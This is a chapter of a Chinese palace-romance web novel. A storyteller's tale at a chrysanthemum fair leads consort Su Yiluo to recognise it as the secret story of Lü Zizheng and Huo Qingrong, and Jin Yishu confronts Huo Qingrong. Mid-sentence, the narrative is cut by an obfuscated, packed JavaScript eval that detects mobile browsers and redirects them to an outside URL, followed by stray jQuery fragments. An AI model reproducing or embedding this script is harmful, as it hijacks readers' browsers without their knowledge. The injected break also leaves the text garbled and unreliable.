83. 风流韵事

重阳节前,一位游历四方的说书先生到了晋京城,惊堂木声响彻京中各个茶楼。


思朝阁也不例外,正逢眼下秋菊开得茂盛,掌柜的顺势办了个赏菊宴,当街搭了戏台,围观的百姓那是挤了里三层又外三层。


台上一方八仙桌被红的、粉的、紫的菊花簇拥着,中央坐着个瞧着就面善的说书先生。惊堂木一落,“啪”一声响,哄闹的人群瞬间安静下来,只听今日这台上说的是一出风流韵事:


“常言道这三月三上祀节,可是小姐公子们郊游踏青的好日子。这京城里头,那个不学无术的草包公子哥也凑热闹出了城,却不巧遇着山匪行凶,欲强抢民女的祸事来。


你说这皇城跟儿上,天子脚下,竟然能发生这种事情,公子哥哪忍得了啊,当即命令随行的侍卫雷厉风行地救下了那位小姐不说,还要一路护送她回京。


一路上二人并肩骑马,在山间小道上有说有笑的,一来一回间,到还品出几分相见恨晚的滋味来。


可惜欢声笑语戛然而止于在城门口看见那位小姐的父亲,原来这位小姐是京中大官的女儿。虽然二人的确家世相当,公子哥亦是个身份贵重的,但他已即弱冠之年,仍然一事无成,整日斗鸡走狗不说,更是时常触怒天颜,京中无人不知实在难为良配,所以小姐的父亲当即就拆散了二人。


可这情之一字,向来令人摸不着头脑。


小姐虽然不忍忤逆父亲,但也难熬对公子哥日渐加深的相思之苦,只好寻了机会良言相劝,希望公子哥改邪归正。


各位看官,您猜猜,这公子哥有没有将小姐的话听进去?”


“我猜没有!”人群中一个朴素汉子昂头嚷了一声:“这俗话说的好,狗改不了吃屎,他要是轻易就能改,早干嘛去了。”


“非也非也。”人群另一边一个简朴书生扇了扇手中的折扇反驳道:“圣人言,知错能改,善莫大焉,若这公子哥是真心爱重那位小姐,想来定是会愿意迷途知返的。”


“啪!”惊堂木重重磕在八仙桌上,像是在肯定书生所言。


百姓们左顾右盼的脑袋于是又齐刷刷看向戏台,说书先生笑弯了眼睛,摸了摸下巴,摇摇一指书生,开口道:“这位公子说得不错,其实啊,这公子哥对小姐也是一见钟情。”


“他把小姐的话听进耳朵里,听出了小姐的言外的情谊,于是开始奋发图强,又是剿山匪,又是查大案,还自请跟着小姐的父亲去边关打仗。后来啊,终于——”说书先生吊足了百姓胃口,拖长了尾音,满意地眯着眼,慢吞吞端起茶盏呷了口茶水。


这可急坏了搁戏台后猫着身子的小二,听得正尽兴呢,转瞬后颈一凉,滴溜溜转的眼睛瞥见正从楼梯上下来的掌柜,心道:不好,铁公鸡来了看他在这偷懒肯定要骂。但是这眼瞅着都快听完了,干留这一口真是抓心挠肝的难受。


小二闷声一咬牙,干脆从袖子里摸出一枚铜板远远扔到八仙桌上,掐着嗓子来了一句:“那后来呢?公子哥活着回来没有,跟小姐成亲了吗?”


围观的人群立刻哄闹起来,七嘴八舌兴奋地讨论着:“上了沙场那能活得长吗?”“回来了也得缺胳膊少腿吧。”“那小姐还能喜欢他吗?”“兴许呢,兴许二人情比金坚,真能成哩。”


说书先生品完了茶,见下头看客没给他留个缝说话,索性就闭着嘴笑眯眯地看着。


人群中终于有人等不及,腰配宝剑头戴金冠的少爷从身侧夫人的头上拔下一只金簪丢上台,大吼一声:“都给本公子住嘴!”


这一吼唬住了百姓们,先前说过话的书生打眼一瞧:“快都住嘴,别扰了丞相公子听书的雅兴。”


响当当的名头一出,周围所有人像是都被一巴掌扇哑巴了似的,果然没再有人开口说话。


苏乾满意地扫视了一圈,瞥见喊话的书生,递了个眼神过去,继而转头看向戏台:“说书的,后面呢?”


说书先生笑笑,摸起桌上的那枚铜板揣进怀里,伸手朝上指了指天。


靡靡丝竹音恰在此刻响起,有人顶着嗓子念唱起来:


“三月三日英雄救美定情缘,上元佳节赏灯看景诉衷肠。哪料到——风云变,朔雪狂卷,牡丹残瓣入泥间。又见这——鸳鸯锦被披棺椁,龙凤红烛点魂帛。若有真情上天定,时机未成——”


竖直的手左右摇了摇,带动着听者的脑袋也来回摆动,紧盯着最后三个字神神秘秘的从那人嘴里吐出来:“不好说——”


“啪!”响声骤起,听者回神。


念唱的人一愣,捧着脸茫然问道:“不是,表哥,你打我作甚?”


“你不该打?好端端说个话本子在这故弄玄虚的。”律从风也是听得正尽兴,苏乾又唱又跳着实别有一番风味,只是临到了了又让人猜字谜着实可恶,心头越想越气不过,照脸又拍了苏乾一嘴巴,转头看向一侧的软榻:“母妃,你说说他该不该打。”


“那这也不是...哎呀,”苏乾猝不及防又被他拍了一巴掌,捂着脸小跑绕道苏仪萝空着的另一侧,为自己叫屈:“说书的就是这么说的,那我只是照实说了嘛。”


“好了,风儿,乾儿也是好意。”苏仪萝护住往自己身后钻的苏乾,佯装嗔怒地瞪了律从风一眼。


“就是就是,”苏乾顺杆爬上:“姨母说得正是,我也是怕你们在宫里待得烦闷,才想着说些新鲜事给你们解解闷的。如今这宫外最新鲜的就是这出戏了。”


苏仪萝笑笑,拍拍苏乾示意他坐好:“是吗?前些日子京中戒严,排查流寇,不是说百姓们都吓得不敢出门吗?”


“是戒严了几日,不过卫小将军亲自带队巡逻了几天,也没查出什么异样,就恢复原样了,正巧这不是赶上了重阳节,所以又热闹了起来。”苏乾边回着话,边从律从风嘴里夺下最后一块糕点,塞进嘴里嘟囔着:“昂,好吃,姨母,糕点还有吗?我带些回去给我夫人尝尝。”


律从风白眼一翻:“有,包管你吃不了兜着走。”


没了别的狐朋狗友在,兄弟二人彼此互为笑柄,又斗起嘴来。


苏仪萝的心思却还落在方才那首小曲上,苏乾说这出戏新鲜,她却听着莫名熟悉,尤其是听到“剿山匪、查大案、去边关”的时候,额角突突地跳,手在袖中打着拍子,视线不自觉就移到了自家儿子身上。


她的风儿向来乖巧懂事,又怵他父亲,被皇帝关禁闭也就那么一回,可不就是因为那


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863263|166594||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


个草包不知道走了什么狗屎运,竟然一连立了两件大功,又是剿灭了越州匪患、又是查明御史遇刺案......


苏仪萝打着拍子的手一停,视线模糊起来,律从风的身形虚幻起来,她的神思却愈发清明。


又是自请去边关。


戏文里的公子哥,说的是律子政!他就是以二品车骑将军,兼霍瞻副将的身份去的川谷关!


那戏文里的小姐,就是霍卿荣!


都对的上。霍卿荣是去岁三月三回的京,律子政前几日被她算计,被皇帝打发出京去查劳什子陈年旧案,算算日子,也恰是三月三回的京。


一个月后她的生辰宴,是霍卿荣头一回出席京中的宴会。那次,律子政也来了,往年都是只见礼不见人,她还诧异他怎么转了性子,竟然肯来,原来是这样。


她苏仪萝打压了多年的烂泥朽木,被一个刚及笄的小丫头片子扶上墙还雕出花来了。


好,果真是好,好得很。


苏仪萝抽丝剥茧般盘弄出前因后果,心中早已怒不可遏,而此刻门外的山匪本人却如坠冰窟。


金宜书隔着门朝内看了一眼,压下面上的阴鸷狠力,悄无声息地退了出去。


玉椒宫偏殿,霍卿荣正拨弄着几个小铁片,金宜书就是这个时候闯进来的。


他不由分说,劈头盖脸先是一句质问:“你当真与那个太子交心了?”


即便今日刻得是霍卿荣得心应手的牡丹,她也依旧专心致志,指甲盖大小的铁片被捶打得薄如蝉翼却依旧锋利,轻易就能割开脆弱的皮肉。


说话的是芷兰,她与金宜书并不熟,只在霍卿荣坠马昏迷那夜有过两句的交谈:“金公子,此处是我们小姐卧房,还请出去。”


“你算是什么东西,也来回我的话?”金宜书居高临下地看了芷兰一眼,言语之中的轻蔑毫不掩饰。


芷兰却不甘示弱,亮出手中的长簪,上前一步挡住身后的霍卿荣:“主子做事也轮不到你来置喙,更不用提,是条无主的野狗。”


短短数月,律璇那股刻薄劲,她学了个九成九,倒引得霍卿荣侧目,在背后笑弯了眉眼。


金宜书气急,本欲直接动手,但视线触及霍卿荣,又强压下心中的不满,垂眸期期艾艾的开口:“殿下,你同我走吧,民间起了谣言,你和律...太子的事已经传到苏贵妃的耳中了,她本就对你有所图谋,你再待在宫里不安全。”


霍卿荣终于偏了偏头,冷淡的目光中看不出一点情绪,她开口,只是说:“与你何干?”


“殿下!”金宜书还欲再劝,芷兰却直接动了手,屋内的空间太小,宫中的耳目又多,二人打起来都束手束脚的,却免不了闹出些动静。


等精致的弓弩对准金宜书的头颅时,这场莫名的架立刻平息,金宜书神情复杂的看着霍卿荣手中的利器,觉得胳膊隐隐作痛,最终还是留下一句:“殿下,您还是好好考虑考虑吧。”


他走时也是迅捷如风,敞开的大门框着他瘦削的身影,屋内两人都没有去看,可屋外的人看得分明。


律璇抱臂靠着墙,在霍卿荣屋外那条连通她卧房的走廊,定定看着虚空处,轻声呢喃了一句:“殿下?”